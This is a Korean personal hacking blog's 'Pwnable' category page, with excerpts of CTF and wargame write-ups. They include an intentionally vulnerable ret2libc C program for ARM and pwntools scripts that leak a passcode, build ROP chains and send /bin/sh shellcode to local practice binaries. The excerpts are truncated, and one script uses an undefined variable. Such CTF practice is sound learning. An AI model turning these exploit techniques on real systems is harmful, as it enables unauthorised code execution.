일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- CODEGATE2018
- openctf
- npm
- gogs private git
- xlsx
- 노드 엑셀
- shellcraft
- https설정
- codegate2017
- Branch
- gogs
- NGINX
- doorlock
- BLUETOOTH
- node.js
- CVE
- 도메인 https
- Git
- lob
- blueborne
- https
- 코드게이트
- node
- pwnable
- 코드게이트 주니어
- Codegate
- module
- Hacking
- pwntools
- 코드게이트2017
- Today
- Total
목록Pwnable (7)
고졸백수해킹일기
보호되어 있는 글입니다.
ARM exploit에 대해서 간략한 설명. // gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl #define _GNU_SOURCE #include #include #include void vuln(){ char buf[54] = ""; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 100); } void main(){ vuln(); } lazenca.net의 유명한 소스. arm 아키텍쳐는 x64와 매우 비슷하다. pop ebp; ret == pop {r11, pc} call == bl r0 == rdi..
symchk.exe dll경로 /s msdl.microsoft.com/download/symbols
from pwn import *import time context(arch='amd64', os='linux')overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"bss = p64(0x6CB164)rdi = p64(0x4014d6)gets = p64(0x40fad0)shell = asm(shellcraft.sh()) payload = ""payload += overflowpayload += pop_rdi+bsspayload += gets+bss s = process("./smashme")s.sendline(payload)time.sleep(1)s.sendline(shell)s.interactive()
32bithttp://docs.pwntools.com/en/stable/shellcraft/i386.html 64bithttp://docs.pwntools.com/en/stable/shellcraft/amd64.html 근데 여기 문서에서는 shellcraft.i386.linux.read( ) 이렇게 적어놨는데python 코드 맨 윗줄에context(arch='i386', os='linux') #
바이너리를 보면 무슨 패스코드 파일을 읽어와서 input값이랑 비교하는데target메뉴 이후 입력받는 과정에서 릭을 하면 passcode를 읽어올 수 있다.아래는 릭 코드#####leak######from pwn import *import times = remote('localhost',1129) print s.recv(1024)s.sendline('target')time.sleep(1)print s.recv(1024)s.sendline('1094795585.000000/1094795585.000000')time.sleep(1)print s.recv()s.sendline('A'*512)time.sleep(1)print s.recv(4096) 이후 실행되는 start_routine이라는 곳에서 오버플로가 ..
추천받아서 풀어본 문제your_turn 함수에서 터지게 된다. file : http://web.noe.systems/binary/Baskinrobins31 아래는 페이로드 from pwn import * prob = ELF('./BaskinRobins31')#print prob.symbols['read']s = remote("localhost",7777) dummy = "1"+"A"*183 #0xB0write_plt = 0x4006d0write_got = 0x602028read_plt = 0x400700read_got = 0x602040sh = "/bin/sh"bss = 0x602090gad = 0x40087apayload = ""offset_system = 0xa8e20 print s.recvuntil..